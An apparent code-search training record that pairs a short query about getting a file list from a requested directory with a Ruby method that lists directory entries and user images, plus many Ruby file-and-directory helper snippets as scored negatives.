"def file_is_filtered?(path_cand)\n filename = File.basename(path_cand)\n extname = File.extname(filename)\n ix_ext = @filter_extension.index(extname)\n ix = @filter_file.index(filename)\n if ix or ix_ext\n log \"FILTER: #{path_cand}\" \n return true\n else\n return false\n end\n end",
"def dir_exist?(path)\n exist?(path) && !is_file?(path)\n end",
"def file_matches_criteria?(full_path)\n full_path.file? && proper_ext?(full_path) &&\n !LokaliseRails.skip_file_export.call(full_path)\n end",
"def exists?(path)\n files.include?(path)\n end",
"def local_file_exists?(full_path)\n File.exists?(full_path)\nend",
"def exist?\n FileTest.exist?(to_s)\n end",
"def has_file\n if id == nil \n false\n else\n FileTest.exists?( local_file_path )\n end\n end",
"def any?\n if @path.is_a?(String)\n File.exist?(@path)\n else\n @path.size.positive?\n end\n end",
"def temp_file?(path)\n # We're only interested in the basename.\n temp_path = Tilia::Http::UrlUtil.split_path(path)[1]\n\n @temporary_file_patterns.each do |temp_file|\n if temp_path =~ temp_file\n return \"#{data_dir}/sabredav_#{Digest::MD5.hexdigest(path)}.tempfile\"\n end\n end\n\n false\n end",
"def exist; File.exist?(@fname); end",
"def file_exist?\n return FileTest.exist?(@fileurl)\n end",
"def directory?() end",
"def file?\n repos.stat(fs_path, revision).file?\n end",
"def glob_is_directory?(glob); end",
"def known_file_type fileName\r\n fileKnown = false\r\n fileType = fileName.split('.')[-1]\r\n FILE_TYPES.each { |ft| fileKnown |= fileType.eql? ft}\r\n return fileKnown\r\n end",
"def file?(path)\n # :nocov:\n false\n # :nocov:\n end",
"def path?\n !path.nil? && File.directory?(path)\n end",
"def path_exists?(path)\n File.exists?(path)\n end",
"def virtual_file?(name); end",
"def valid_search_path?(path)\n if File.directory?(path) and Pathname.new(path).absolute?\n return true\n elsif path.match %r[^file:/]\n return true\n end\n\n return false\n end"
] |
[
"0.829204",
"0.813953",
"0.80105364",
"0.78895223",
"0.77341706",
"0.7730412",
"0.76720345",
"0.76512516",
"0.7628814",
"0.7602517",
"0.7580916",
"0.74773574",
"0.746706",
"0.7458751",
"0.74476606",
"0.7376391",
"0.73536134",
"0.7338268",
"0.73375356",
"0.7328583",
"0.72978663",
"0.7297726",
"0.7265843",
"0.72509277",
"0.7238628",
"0.721581",
"0.71852607",
"0.7142131",
"0.7134755",
"0.7075813",
"0.7063865",
"0.7057598",
"0.7028015",
"0.7018862",
"0.70102173",
"0.6992071",
"0.6961196",
"0.69540113",
"0.69540113",
"0.6944961",
"0.6926065",
"0.69064736",
"0.6863596",
"0.68493617",
"0.6846474",
"0.6831931",
"0.68087214",
"0.67969245",
"0.6792803",
"0.67800725",
"0.67742765",
"0.6763547",
"0.6756501",
"0.675529",
"0.67123187",
"0.6702667",
"0.6692048",
"0.6684462",
"0.6682629",
"0.6679522",
"0.66587466",
"0.66510504",
"0.6650093",
"0.6638763",
"0.66276914",
"0.66266644",
"0.6622631",
"0.6617951",
"0.66110885",
"0.6609592",
"0.66075194",
"0.6582045",
"0.6576294",
"0.6563007",
"0.6560695",
"0.6555206",
"0.6552678",
"0.6552424",
"0.65506476",
"0.6542771",
"0.6542044",
"0.65245897",
"0.65208894",
"0.6516144",
"0.6511192",
"0.65105647",
"0.6500945",
"0.6498528",
"0.64900935",
"0.6482297",
"0.64758974",
"0.64748704",
"0.6470127",
"0.6469617",
"0.6463122",
"0.646283",
"0.6462142",
"0.6461582",
"0.64607686",
"0.64499223"
] |
0.77345496
|
4
|
used at filelist to get file list in requested dir
|
def fire_the_list(path)
@output = <<-END
END
dir = absolute_path(path).force_encoding("UTF-8")
begin
@file_names = Dir.entries(dir)
@file_names.each do |file|
file = file.force_encoding("UTF-8")
# puts_message "테스트 아웃풋 : " + file
end
rescue
@file_name = "error"
end
if not @file_names == nil
# puts_message "잘라낸 주소!!" + path[0,7]
if path[0,8] == "/images/"
if path == "/images/" or path == "/images/basic_photo/"
@file_names.delete_if{|f| f =~ /^(\.)(.*)/}
@file_names.each{|f| @output << f.force_encoding("UTF-8") + "\n"}
@file_names = @output
@access_url = ""
else
# puts_message "폴더명 ===>" + path.gsub("/images/","").gsub("/","") + "::인코딩::"+path.encoding.to_s
@file_names = Myimage.all(:user_id => current_user.id, :folder_name => path.gsub("/images/","").gsub("/",""))
@file_names.each{|f| @output << f.image_filename.force_encoding("UTF-8") + "\n"; puts_message f.image_filename}
@file_names = @output
@access_url = ""
end
else
@file_names.delete_if{|f| f =~ /^(\.)(.*)/}
@file_names.each{|f| @output << f + "\n"}
@file_names = @output
@access_url = ""
end
else
@file_names = "error"
@access_url = ""
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_list\n end",
"def filelist\n puts_message \"filelist start\" \n\n user = current_user\n\n request = params[:request].force_encoding(\"UTF-8\")\n puts_message \"Requested Path: \" + params[:request]\n \n if user and check_existance_of_path(request) \n if request == nil\n @file_names = 'error'\n elsif request_is_directory?(request)\n fire_the_list(request)\n # @file_names = absolute_path(request)\n elsif request_is_file?(request)\n last = request.split('/').last\n path = absolute_path(request)\n send_file_info(last, request) \n else\n @file_names = 'error'\n end\n else \n @file_names = 'error'\n end\n\n puts_message \"filelist end\" \n \n @output = <<-END\n\n END\n \n if request == \"/images/\"\n @folders = Folder.all(:user_id => current_user.id)\n \n @output << \"photo\" + \"\\n\"\n \n @folders.each do |f|\n @output << f.name + \"\\n\"\n end\n \n @file_names = @output\n end\n \n return @file_names\n\n end",
"def file_list\n @file_list\n end",
"def list_files(dir)\n # Getting all the files names in the directory\n file_names = Dir[dir + \"*\"]\n\n return file_names\n\nend",
"def list_files(dir)\n# Getting all the files names in the directory\n file_names = Dir[dir + \"*\"]\n return file_names\nend",
"def get_list_of_files\n\t\t@list_of_files = Dir.entries(@wallpaper_dir) \n\tend",
"def list\n factory.system.list(@path).collect do |item|\n candidate = dir(item)\n if (not candidate.exists?)\n candidate = file(item)\n end\n candidate\n end\n end",
"def list(client, current_path)\n\n\tfiles = Dir.glob(\"#{current_path}/files/*\")\n\tclient.puts \"\\nList of Files:\"\n\tfiles.each{ |file|\n\tfile.slice! \"#{current_path}/files/\"}\n\tclient.puts files\n\nend",
"def listFiles()\n #N Without this the files won't get listed\n contentHost.listFiles(baseDir)\n end",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def cmd_list(param)\n send_unauthorised and return unless logged_in?\n send_response \"150 Opening ASCII mode data connection for file list\"\n\n param = '' if param.to_s == '-a'\n\n dir = File.join(@name_prefix.to_s, param.to_s)\n\n now = Time.now\n\n items = list_dir(build_path(param))\n lines = items.map do |item|\n \"#{item.directory ? 'd' : '-'}#{item.permissions || 'rwxrwxrwx'} 1 #{item.owner || 'owner'} #{item.group || 'group'} #{item.size || 0} #{(item.time || now).strftime(\"%b %d %H:%M\")} #{item.name}\"\n end\n send_outofband_data(lines)\n # send_action_not_taken\n end",
"def list_files_from path,opts = {}\n unless Dir.exists? path\n Logger.<<(__FILE__,\"ERROR\",\"Local fetcher: path does not exists for listing... #{path} \")\n raise \"Error LocalFileFetcher !\"\n end\n if opts[:directories]\n cmd = \"ls -td #{path}/*/\"\n else\n cmd = \"ls #{path}\"\n cmd += \"/#{opts[:regexp]}\" if opts[:regexp]\n end\n out = `#{cmd}`\n return out.split(\"\\n\")\n end",
"def get_list(dir = nil)\n @ftp.ls(dir)[3..-1]\n end",
"def list\n @file_list.to_a\n end",
"def file_list(group)\n return Dir[File.join(@dir, group, FILE_EXT)].sort\nend",
"def directory!\n @file_list = @file_list.select{ |f| File.directory?(f) }\n end",
"def listFiles(baseDir)\n #N Without this, the base directory might be missing the final '/', which might cause a one-off error when 'subtracting' the base directory name from the absolute paths to get relative paths\n baseDir = normalisedDir(baseDir)\n #N Without this we wouldn't be executing the command to list all files in the remote directory\n ssh(findFilesCommand(baseDir).join(\" \")) do |line| \n #N Without this we wouldn't be echoing the file name on this line for the user to read\n puts \" #{line}\"\n end\n end",
"def file_list(dir, opts={})\r\n\topts={:recursive => false, :exclude => []}.merge(opts)\r\n\tf = []\r\n\tDir.glob(File.join(dir,\"*\")).each do | file |\r\n\t\tif File.file?(file) then\r\n\t\t\tnext if opts[:exclude].include? file\r\n\t\t\tf << file\r\n\t\telse\r\n\t\t\tf << file_list(file) if opts[:recursive] && File.directory?(file)\r\n\t\tend\r\n\tend\r\n\treturn f\r\nend",
"def get_entries(dir, subfolder); end",
"def make_listdir\n\t\tdirname = \"%s/%s.%d.%0.4f\" % [\n\t\t\tDir.tmpdir,\n\t\t\t'ezmlm_list',\n\t\t\tProcess.pid,\n\t\t\t(Time.now.to_f % 3600),\n\t\t ]\n\t\tlist = Pathname.new( __FILE__ ).dirname + 'data' + 'testlist'\n\t\tcp_r( list.to_s, dirname )\n\n\t\treturn dirname\n\tend",
"def files() = files_path.glob('**/*')",
"def get_file_list relative_path\n\t\t\t\tpath = File.join(@src, relative_path)\n\t\t\t\tresult = nil\n\t\t\t\tFileUtils.cd(path) do\n\t\t\t\t\tresult = Dir.glob(\"**/*\", File::FNM_DOTMATCH)\n\t\t\t\t\tresult.reject! { |fn| File.directory?(fn) }\n\t\t\t\t\tresult.reject! { |fn| fn =~ /(^_|\\/_)/ }\n\t\t\t\tend\n\t\t\t\tresult\n\t\t\tend",
"def file_list tree_root=nil\n tree_root ||= self.tree_root\n file_list = []\n current_dir = tree_root\n visit_entries self.files do |type, name|\n case type\n when :directory\n current_dir = current_dir + \"/\" + name\n when :file\n file_list.push(current_dir + \"/\" + name)\n else\n throw \"BAD VISIT TYREE TYPE. #{type}\"\n end\n end\n file_list\n end",
"def filelist\n @filelist ||= begin\n list = common_filelist(super) # Always pick up the parent list\n list\n end\n end",
"def read_files(file_path)\n\tlist=Dir.entries(file_path)\n\treturn list\nend",
"def files_list(path_list: '', name_list: '')\n # Check\n path_list = [path_list] if path_list.class == String # transform String in Array\n name_list = [name_list] if name_list.class == String # transform String in Array\n path_list.uniq! # Remove duplicate\n name_list.uniq! # Remove duplicate\n (@log.fatal {'FileManager.files_list() : no path given'}; exit ) if :path_list.size == 0\n (@log.fatal {'FileManager.files_list() : no file list given'}; exit ) if :name_list.size == 0\n # Init\n file_array = []\n # Create the list\n for path in path_list\n for file in name_list\n files = Dir.glob(path + '/' + file)\n file_array = file_array + files\n @log.info {\" FileManager search for \\\"#{path}/#{file}\\\" => found : #{Dir.glob(path + '/' + file).size} file(s)\"}\n end\n end\n # Something wrong ?\n if file_array.size == 0\n @log.fatal {\"FileManager : no Input Files found by files_list().path_list : #{path_list.to_s} name_list #{name_list.to_s}\"}; exit\n else\n return file_array\n end\n end",
"def list_files\n files = remote_directory.files.map { |file| file.key }\n\n # The first item in the array is only the path an can be discarded.\n files = files.slice(1, files.length - 1) || []\n\n files\n .map { |file| Pathname.new(file).basename.to_s }\n .sort\n .reverse\n end",
"def build_file_list\n puts_and_logs 'Finding files...'\n file_list = []\n config[:source].each do |entry|\n if File.directory?(entry)\n populate_list_of_files_from_directory(file_list, entry) \n next\n end\n if File.file?(entry)\n populate_list_of_files_from_file(file_list, entry) \n next\n end\n logger.warn \"\\\"#{entry}\\\" is neither a directory nor a regular file. Ignored...\"\n end\n logger.debug(file_list)\n file_list\n end",
"def readdir(path, fileinfo)\n puts \"#readdir \" + path\n [\"hello.txt\"]\n end",
"def fls(file)\n end",
"def list\n Lib.list @path, @no_follow\n end",
"def list\n Dir.glob(\"#{@directory}/**/*\").reject(&File.directory?).map do |p|\n Pathname.new(p).relative_path_from(@directory)\n end\n end",
"def get_flist\n pp_ok \"Started in directory #{Dir.pwd}\"\n Dir.chdir(@xml_dir)\n pp_ok \"Moved to directory #{Dir.pwd}\"\n return Dir.glob(\"*.{xml}\")\n end",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def get_important_files dir\n # checks various lists like visited_files and bookmarks\n # to see if files from this dir or below are in it.\n # More to be used in a dir with few files.\n list = []\n l = dir.size + 1\n\n # 2019-03-23 - i think we are getting the basename of the file\n # if it is present in the given directory XXX\n @visited_files.each do |e|\n list << e[l..-1] if e.index(dir) == 0\n end\n list = get_recent(list)\n\n # bookmarks if it starts with this directory then add it\n # FIXME it puts same directory cetus into the list with full path\n # We need to remove the base until this dir. get relative part\n list1 = @bookmarks.values.select do |e|\n e.index(dir) == 0 && e != dir\n end\n\n list.concat list1\n list\nend",
"def get_files_list(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'FilesList')\n end",
"def file_list(full_directory_path)\r\n path = File.join(full_directory_path, '*')\r\n Dir[path].reject { |fn| File.directory?(fn) || File.basename(fn) == @folder_config }\r\n end",
"def list_files\n source_dir = Path.new(params[:source_dir])\n if params.has_key?(:show_catalogues)\n show_catalogues = params[:show_catalogues]\n else\n show_catalogues = false\n end\n if params[:ext].present?\n file_type = params[:ext]\n else\n file_type = nil\n end\n render json: source_dir.files(file_type: file_type, show_catalogues: show_catalogues)\n end",
"def file_path_list\n @file_path_list ||= self.class.default_file_path_list\n end",
"def create_list_of_files\n @path=find_repository_and_basepath\n @table.window.setTitle(@path)\n files=[]\n Find.find(@path) do |file|\n # we don't want any files from a repository in the list \n next if file=~/(\\.hg|\\.svn|\\.git|\\.pyc)/ \n\n # neither do we want dotfiles in the list\n next if File.basename(file)=~/^\\./ \n \n # file matches, add it to the resulting list\n files << file if FileTest.file?(file)\n\n # wir bauen hier mal einen kleinen Idiotentest ein. Wenn wir mehr\n # als 10000 Dateien gefunden haben dann sind wir vermtl. in einem \n # falschen Verzeichniss und brechen die Suche ab.\n if files.length>10000\n NSRunInformationalAlertPanel('Large directory found!',\n \"Gathered more than 10k files from directory '#{@path}', aborting search!\",'OK',nil,nil)\n NSApp.stop(self)\n raise 'error'\n end\n end\n #@files=files.sort_by { |match| File.basename(match) }\n @files=files.sort\n end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def takeFilesNames\nDir['result*.*'].each do |file_name|\n @files_names.push(file_name)\nend\nend",
"def retrieve_files_in_main_dir\n ensure_file_open!\n @file.glob('*').map do |entry|\n next if entry.directory?\n\n entry_file_name = Pathname.new(entry.name)\n [entry_file_name, entry.get_input_stream(&:read)]\n end.compact.to_h\n end",
"def list_files\n Find.find(path) do |element| yield element end\n end",
"def getFilesinDir(path, logkey='')\n\tfiles = Mcmlln::Tools.dirList(path)\n\treturn files\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def list_files dir='*', sorto=@sorto, hidden=@hidden, _filter=@filterstr\n dir += '/*' if File.directory?(dir)\n dir = dir.gsub('//', '/')\n\n # decide sort method based on second character\n # first char is o or O (reverse)\n # second char is macLn etc (as in zsh glob)\n so = sorto ? sorto[1] : nil\n func = case so\n when 'm'\n :mtime\n when 'a'\n :atime\n when 'c'\n :ctime\n when 'L'\n :size\n when 'n'\n :path\n when 'x'\n :extname\n end\n\n # sort by time and then reverse so latest first.\n sorted_files = if hidden == 'D'\n Dir.glob(dir, File::FNM_DOTMATCH) - %w[. ..]\n else\n Dir.glob(dir)\n end\n\n # WARN: crashes on a deadlink since no mtime\n if func\n sorted_files = sorted_files.sort_by do |f|\n if File.exist? f\n File.send(func, f)\n else\n sys_stat(func, f)\n end\n end\n end\n\n sorted_files.sort! { |w1, w2| w1.casecmp(w2) } if func == :path && @ignore_case\n\n # zsh gives mtime sort with latest first, ruby gives latest last\n sorted_files.reverse! if sorto && sorto[0] == 'O'\n\n # add slash to directories\n sorted_files = add_slash sorted_files\n # return sorted_files\n @files = sorted_files\n calculate_bookmarks_for_dir # we don't want to override those set by others\nend",
"def file_list(hash)\n\nend",
"def file_list(hash)\n\nend",
"def recursive_file_list( root_dir)\n\t\treturn nil unless File.directory?(root_dir)\n\t\tlist = []\n\t\tDir.entries( root_dir).reject{|e| e=~/^\\./}.each { |e| \n\t\t\tpath = File.join( root_dir, e)\n\t\t\tif File.directory?( path)\n\t\t\t\t# puts \"Dir: #{path}\"\n\t\t\t\t list += recursive_file_list(path)\n\t\t\telsif File.file?(path)\n\t\t\t\t# puts \"File: #{path}\"\n\t\t\t\t list << path\n\t\t\tend\t\n\t\t}\n\t\tlist\n\tend",
"def get_file_load_list\n json_file_path = File.join(SDESK_ROOT_PATH, 'configs', 'file_list.json')\n json_data = load_json_file json_file_path\n return [] unless json_data\n\n flist_arr = []\n json_data.each_pair do |dir_name, file_h|\n file_h.each_pair do |fname, queue_id|\n flist_arr << [File.join(dir_name, fname+'.rb'), queue_id]\n end\n end\n flist_arr.sort_by!{|arr| arr.last}\n flist_arr.map(&:first)\n end",
"def get_filelist(root_path)\n array = Dir[root_path+'**/*'].reject {|fn| File.directory?(fn) }\nend",
"def enhance_file_list\n return unless @enhanced_mode\n @current_dir ||= Dir.pwd\n\n begin\n actr = @files.size\n\n # zshglob: M = MARK_DIRS with slash\n # zshglob: N = NULL_GLOB no error if no result, this is causing space to split\n # file sometimes for single file.\n\n # if only one entry and its a dir\n # get its children and maybe the recent mod files a few\n # FIXME: simplify condition into one\n if @files.size == 1\n # its a dir, let give the next level at least\n return unless @files.first[-1] == '/'\n\n d = @files.first\n # zshglob: 'om' = ordered on modification time\n # f1 = `zsh -c 'print -rl -- #{d}*(omM)'`.split(\"\\n\")\n f = get_files_by_mtime(d)\n\n if f && !f.empty?\n @files.concat f\n @files.concat get_important_files(d)\n end\n return\n end\n #\n # check if a ruby project dir, although it could be a backup file too,\n # if so , expand lib and maybe bin, put a couple recent files\n # FIXME: gemspec file will be same as current folder\n if @files.index('Gemfile') || !@files.grep(/\\.gemspec/).empty?\n\n if @files.index('app/')\n insert_into_list('config/', \"config/routes.rb\")\n end\n\n # usually the lib dir has only one file and one dir\n # NOTE: avoid lib if rails project\n flg = false\n @files.concat get_important_files(@current_dir)\n if @files.index('lib/') && !@files.index('app/')\n # get first five entries by modification time\n # f1 = `zsh -c 'print -rl -- lib/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime('lib')&.first(5)\n # @log.warn \"f1 #{f1} != #{f} in lib\" if f1 != f\n if f && !f.empty?\n insert_into_list('lib/', f)\n flg = true\n end\n\n # look into lib file for that project\n # lib has a dir in it with the gem name\n dd = File.basename(@current_dir)\n if f.index(\"lib/#{dd}/\")\n # f1 = `zsh -c 'print -rl -- lib/#{dd}/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime(\"lib/#{dd}\")&.first(5)\n # @log.warn \"2756 f1 #{f1} != #{f} in lib/#{dd}\" if f1 != f\n if f && !f.empty?\n insert_into_list(\"lib/#{dd}/\", f)\n flg = true\n end\n end\n end\n\n # look into bin directory and get first five modified files\n # FIXME: not in the case of rails, only for commandline programs\n if @files.index('bin/') && !@files.index('app/')\n # f1 = `zsh -c 'print -rl -- bin/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime('bin')&.first(5)\n # @log.warn \"2768 f1 #{f1} != #{f} in bin/\" if f1 != f\n insert_into_list('bin/', f) if f && !f.empty?\n flg = true\n end\n\n # oft used rails files\n # TODO remove concerns dir\n # FIXME too many files added, try adding recent only\n if @files.index('app/')\n [ \"app/controllers\", \"app/models\", \"app/views\" ].each do |dir|\n f = get_files_by_mtime(dir)&.first(5)\n if f && !f.empty?\n @log.debug \"f has #{f.count} files before\"\n @log.debug \"f has #{f} files before\"\n f = get_recent(f)\n @log.debug \"f has #{f.count} files after\"\n @log.debug \"f has #{f} files after\"\n insert_into_list(\"#{dir}/\", f) unless f.empty?\n end\n end\n\n insert_into_list('config/', \"config/routes.rb\")\n\n # top 3 dirs in app dir\n f = get_files_by_mtime('app/')&.first(3)\n insert_into_list('app/', f) if f && !f.empty?\n flg = true\n end\n return if flg\n\n\n end # Gemfile\n\n # 2019-06-01 - added for crystal and other languages\n if @files.index('src/')\n f = get_files_by_mtime('src')&.first(5)\n insert_into_list('src/', f) if f && !f.empty?\n end\n return if @files.size > 15\n\n # Get most recently accessed directory\n ## NOTE: first check accessed else modified will change accessed\n # 2019-03-28 - adding NULL_GLOB breaks file name on spaces\n # print -n : don't add newline\n # zzmoda = `zsh -c 'print -rn -- *(/oa[1]MN)'`\n # zzmoda = nil if zzmoda == ''\n moda = get_most_recently_accessed_dir\n # @log.warn \"Error 2663 #{zzmoda} != #{moda}\" if zzmoda != moda\n if moda && moda != ''\n\n # get most recently accessed file in that directory\n # NOTE: adding NULL_GLOB splits files on spaces\n # FIXME: this zsh one gave a dir instead of file.\n # zzmodf = `zsh -c 'print -rl -- #{moda}*(oa[1]M)'`.chomp\n # zzmodf = nil if zzmodf == ''\n modf = get_most_recently_accessed_file moda\n # @log.warn \"Error 2670 (#{zzmodf}) != (#{modf}) gmra in #{moda} #{zzmodf.class}, #{modf.class} : Loc: #{Dir.pwd}\" if zzmodf != modf\n\n raise \"2784: #{modf}\" if modf && !File.exist?(modf)\n\n insert_into_list moda, modf if modf && modf != ''\n\n # get most recently modified file in that directory\n # zzmodm = `zsh -c 'print -rn -- #{moda}*(om[1]M)'`.chomp\n modm = get_most_recently_modified_file moda\n # zzmodm = nil if zzmodm == ''\n # @log.debug \"Error 2678 (gmrmf) #{zzmodm} != #{modm} in #{moda}\" if zzmodm != modm\n raise \"2792: #{modm}\" if modm && !File.exist?(modm)\n\n insert_into_list moda, modm if modm && modm != '' && modm != modf\n end\n\n ## get most recently modified dir\n # zzmodm = `zsh -c 'print -rn -- *(/om[1]M)'`\n # zzmodm = nil if zzmodm == ''\n modm = get_most_recently_modified_dir\n # @log.debug \"Error 2686 rmd #{zzmodm} != #{modm}\" if zzmodm != modm\n\n if modm != moda\n\n # get most recently accessed file in that directory\n # modmf = `zsh -c 'print -rn -- #{modm}*(oa[1]M)'`\n modmf = get_most_recently_accessed_file modm\n raise \"2806: #{modmf}\" if modmf && !File.exist?(modmf)\n\n insert_into_list modm, modmf\n\n # get most recently modified file in that directory\n # modmf11 = `zsh -c 'print -rn -- #{modm}*(om[1]M)'`\n modmf1 = get_most_recently_modified_file modm\n raise \"2812: #{modmf1}\" if modmf1 && !File.exist?(modmf1)\n\n insert_into_list(modm, modmf1) if modmf1 != modmf\n else\n # if both are same then our options get reduced so we need to get something more\n # If you access the latest mod dir, then come back you get only one, since mod and accessed\n # are the same dir, so we need to find the second modified dir\n end\n ensure\n # if any files were added, then add a separator\n bctr = @files.size\n @files.insert actr, SEPARATOR if actr < bctr\n end\nend",
"def ls( *args )\r\n \r\n directory = nil\r\n opts = {}\r\n \r\n case args.count\r\n when 1\r\n if args[0].kind_of? Hash\r\n opts = args[0]\r\n else\r\n directory = args[0]\r\n end\r\n when 2\r\n directory = args[0]\r\n opts = args[1] \r\n end\r\n \r\n # args are the RPC arguments ...\r\n args = {}\r\n args[:path] = directory if directory\r\n args[:recursive] = true if opts[:recurse]\r\n args[:detail] = true if opts[:detail] \r\n args.delete(:detail) if( args[:detail] and args[:recursive])\r\n \r\n # RPC output format, default is XML\r\n outf = { :format => 'text' } if opts[:format] == :text\r\n \r\n got = @ndev.rpc.file_list( args, outf )\r\n return nil unless got\r\n \r\n return got.text if opts[:format] == :text\r\n return got if opts[:format] == :xml\r\n \r\n # if we're here, then we need to conver the output \r\n # to a Hash. Joy!\r\n \r\n collect_detail = args[:detail] || args[:recursive]\r\n \r\n ls_hash = {}\r\n got.xpath('directory').each do |dir|\r\n \r\n dir_name = dir.xpath('directory-name').text.strip\r\n dir_hash = {}\r\n \r\n dir_hash[:fileblocks] = dir.xpath('total-file-blocks').text.to_i\r\n files_info = dir.xpath('file-information')\r\n \r\n dir_hash[:files] = {} \r\n dir_hash[:dirs] = {} # sub-directories\r\n \r\n files_info.each do |file|\r\n f_name = file.xpath('file-name').text.strip\r\n f_h = {} \r\n \r\n if file.xpath('file-directory')[0]\r\n dir_hash[:dirs][f_name] = f_h\r\n else\r\n dir_hash[:files][f_name] = f_h \r\n end\r\n \r\n next unless collect_detail\r\n \r\n f_h[:owner] = file.xpath('file-owner').text.strip\r\n f_h[:group] = file.xpath('file-group').text.strip\r\n f_h[:links] = file.xpath('file-links').text.to_i\r\n f_h[:size] = file.xpath('file-size').text.to_i\r\n \r\n xml_when_item(file.xpath('file-symlink-target')) { |i|\r\n f_h[:symlink] = i.text.strip\r\n }\r\n \r\n fp = file.xpath('file-permissions')[0]\r\n f_h[:permissions_text] = fp.attribute('format').value\r\n f_h[:permissions] = fp.text.to_i\r\n \r\n fd = file.xpath('file-date')[0]\r\n f_h[:date] = fd.attribute('format').value\r\n f_h[:date_epoc] = fd.text.to_i\r\n \r\n end # each directory file\r\n ls_hash[ dir_name ] = dir_hash \r\n end # each directory\r\n \r\n return nil if ls_hash.empty?\r\n ls_hash\r\n end",
"def collection_dir(*files); end",
"def list\n\t\t\tbegin\n\n\t\t\t\t# Prepare result, array of absolute paths for found files\n # within given directory. Also empty cache\n\t\t\t\tresult = []\n @scan_history = {}\n\n\t\t\t\t# Recursively scan current folder for files\n\t\t\t\tFind.find(@scan_path) do |current_full_path|\n\n\t\t\t\t\t# Get filename, prune if dot\n\t\t\t\t\tfilename = File.basename(current_full_path)\n Find.prune if filename[0] == ?.\n\n # Get extension\n extension = File.extname(current_full_path)\n\n\t\t\t\t\t# Check for file extension, if provided\n\t\t\t\t\tif @scan_extension && extension.eql?(@scan_extension)\n\n # Get foldername\n folder_name = File.dirname(current_full_path)\n\n # Get number of files parsed in current folder, default 0\n folder_depth = @scan_history.fetch(folder_name, nil) || 0\n Logging[self].debug \"At #{folder_name}\" if folder_depth == 0\n\n # If the desired depth hasn't been reached\n unless folder_depth == @scan_depth\n\n # Increase current depth\n folder_depth += 1\n\n # Add and log result\n Logging[self].warn \"Result: '#{current_full_path}'\"\n result << current_full_path\n\n # Update cache, proceed no further in this folder\n @scan_history[folder_name] = folder_depth\n Find.prune\n end\n\t\t\t\t\telse\n\t\t\t\t\t\n\t\t\t\t\t\t# Either move beyond this file, if we're searching\n\t\t\t\t\t\t# for specific files (filtered by extension), or add\n # the path to the result (since no filter applied)\n\t\t\t\t\t\t@scan_extension ? next : (result << current_full_path)\n\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n end # find block\n\n # Log final result length\n Logging[self].info \"Retrieved #{result.length} results\"\n\n\t\t\t\t# Return result\n\t\t\t\tresult\n\n\t\t\t# Rescue any exceptions\n\t\t\trescue Exception => e\n\t\t\t\tLogging[self].error e\n nil\n\t\t\tend\n\t\tend",
"def files\n entries.map(&:filepath)\n end",
"def files\n return get_result('files')\n end",
"def get_app_file_list()\n if !File.directory?($itunes_dir) and !File.symlink?($itunes_dir)\n puts \"Could not find iTunes directory \"+$itunes_dir\n exit\n end\n app_dir = $itunes_dir+\"/iTunes Media/Mobile Applications\"\n if !File.directory?(app_dir) and !File.symlink?(app_dir)\n puts \"Could not find Mobile Applications directory \"+app_dir\n exit\n end\n file_list = Dir.entries(app_dir)\n return file_list\nend",
"def folder_list(command)\n path = '/' + clean_up(command[1] || '')\n resp = @client.files.folder_list(path)\n\n resp.contents.each do |item|\n puts item.path\n end\n end",
"def file_list path = false, only_extensions = []\n data = []\n path = @path unless path\n if File.exists?(path) && File.directory?(path)\n Dir.foreach(path) do |entry|\n next if entry == '..' or entry == '.' or entry.start_with?(\".\")\n full_path = File.join(path, entry)\n if File.directory?(full_path)\n data.concat(file_list(full_path, only_extensions))\n else\n if only_extensions.size > 0\n data << { \n :name => entry,\n :path => full_path\n } if only_extensions.all? {|extension| true if entry.end_with?(extension) }\n else\n data << { \n :name => entry,\n :path => full_path\n }\n end\n end\n end\n end\n return data\n end",
"def files\n real_path = self.path[2...-1] + \"s/*\"#trim './' and add 's/*' \n \n Dir[real_path].map{|file| file.split(\"/\")[-1]} \n end",
"def files\n # list_of_filenames = Dir.entries(path)\n @list_of_filenames = Dir.glob(\"#{@path}/*.mp3\").collect! {|x| x.gsub(\"#{@path}/\", \"\") }\n # binding.pry\n end",
"def list\r\n # Get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # Set if the user is allowed to update or delete in this folder;\r\n # these instance variables are used in the view.\r\n @can_update = @logged_in_user.can_update(@folder.id)\r\n @can_delete = @logged_in_user.can_delete(@folder.id)\r\n\r\n # determine the order in which files are shown\r\n file_order = 'filename '\r\n file_order = params[:order_by].sub('name', 'filename') + ' ' if params[:order_by]\r\n file_order += params[:order] if params[:order]\r\n\r\n # determine the order in which folders are shown\r\n folder_order = 'name '\r\n if params[:order_by] and params[:order_by] != 'filesize' \r\n folder_order = params[:order_by] + ' '\r\n folder_order += params[:order] if params[:order]\r\n end\r\n\r\n # List of subfolders\r\n @folders = @folder.list_subfolders(@logged_in_user, folder_order.rstrip)\r\n\r\n # List of files in the folder\r\n @myfiles = @folder.list_files(@logged_in_user, file_order.rstrip)\r\n\r\n #get the correct URL\r\n url = url_for(:controller => 'folder', :action => 'list', :id => nil)\r\n\r\n # it's nice to have the possibility to go up one level\r\n @folder_up = '<a href=\"' + url + '/' + @folder.parent.id.to_s + '\">..</a>' if @folder.parent\r\n end",
"def file_list(dir)\n array = Array.new\n array += File.readlines(dir).map(&:chomp)\nend",
"def readdir(path, fileinfo)\n puts \"#readdir \" + path\n entries = []\n handle = @sftp.opendir(path)\n items = @sftp.readdir(handle)\n items.each do |item|\n entries.push item.filename\n end\n @sftp.close_handle(handle)\n entries\n rescue\n p $!\n false\n end",
"def getFilesinDir(path, logkey='')\n\tfiles = Mcmlln::Tools.dirListFiles(path)\n\treturn files\nrescue => logstring\n\treturn []\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
